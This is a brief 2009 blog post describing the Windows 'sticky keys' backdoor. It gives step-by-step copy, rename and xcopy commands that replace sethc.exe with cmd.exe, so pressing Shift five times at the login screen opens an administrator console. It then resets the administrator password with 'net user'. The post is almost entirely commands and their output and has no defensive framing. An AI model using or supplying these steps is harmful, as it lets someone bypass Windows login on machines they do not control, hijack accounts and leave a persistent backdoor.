in C:\WINDOWS\system32 a file named sethc.exe is executed when the "shift "key is pressed 5 consecutive times, in safe mode, you can copy and rename cmd.exe to get the console, now reboot when windows ask you what you want to do, press "shift" key 5 consecutive times and now you have the console in administrator mode
from the console you can execute everything, like system restore
(C:\WINDOWS\system32\Restore\rstrui.exe)
copy [source] [destination]
step 1. C:\>copy C:\WINDOWS\system32\cmd.exe f:\
1 file(s) copied.
step 2. C:\>ren f:\cmd.exe sethc.exe
step 3. C:\>xcopy f:\sethc.exe C:\WINDOWS\system32\ /y
F:\sethc.exe
1 File(s) copied
/Y Overwrites existing files without prompting.
net user [username] [password]
C:\>net user administrator 12
The command completed successfully.
Friday, April 17, 2009
Subscribe to:
Post Comments (Atom)

No comments:
Post a Comment